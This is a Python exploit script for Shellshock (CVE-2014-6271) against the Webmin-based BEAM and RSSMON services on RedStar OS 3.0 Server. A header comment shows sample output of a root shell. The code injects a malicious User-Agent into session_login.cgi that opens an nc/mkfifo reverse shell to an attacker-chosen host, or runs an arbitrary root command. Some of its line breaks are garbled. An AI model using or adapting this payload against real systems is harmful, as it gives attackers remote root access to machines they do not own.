#!/usr/bin/env python# RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit# ========================================================# BEAM & RSSMON are Webmin based configuration utilities# that ship with RSS server 3.0. These packages are the# recommended GUI configuration components and listen on# a user specified port from 10000/tcp to 65535/tcp. They# are accessible on the local host only in vanilla install# unless the firewall is disabled. Both services run with# full root permissions and can be exploited for LPE or# network attacks. RSSMON has hardened SELinux policies# applied which hinder exploitation of this vulnerability# be limiting access to network resources. Commands are# still run as root in a blind way.## $ python rsshellshock.py beam 192.168.0.31 10000 192.168.0.10 8080# [+] RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit# [-] exploiting shellshock CVE-2014-6271...# sh: no job control in this shell# sh-4.1# id# uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:beam_t:s0-s15:c0.c1023# sh-4.1# ## -- Hacker Fantastic (https://myhackerhouse.com)
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import subprocess
import requests
import sys
import os
def spawn_shell(cbport):
subprocess.call('nc -l ' + cbport, shell=True)
def shellshock(soft,ip,port,cbip,cbport):
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)if soft =="beam":
user_agent ={'User-agent':'() { :; }; /bin/bash -c "rm /tmp/.f;mkfifo /tmp/.f;cat /tmp/.f|/bin/sh -i 2>&1|nc '+cbip+' '+cbport+' >/tmp/.f"'}
else:
shellstring ='() { :; }; /bin/bash -c "%s"' % (cbip)
user_agent ={'User-agent': shellstring}
print "[-] exploiting shellshock CVE-2014-6271..."
myreq = requests.get("https://"+ip+":"+port+"/session_login.cgi", headers = user_agent, verify=False)if __name__ =="__main__":
print "[+] RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit"if len(sys.argv)<5:
print "[-] Use with <beam> <host> <port> <connectback ip> <connectback port>"
print "[-] Or with <rssmon> <host> <port> <cmd>"
sys.exit()
if(sys.argv[1]=="beam"):
newRef=os.fork()ifnewRef==0:
shellshock(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])
else:
spawn_shell(sys.argv[5])
else:
shellshock(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],0)
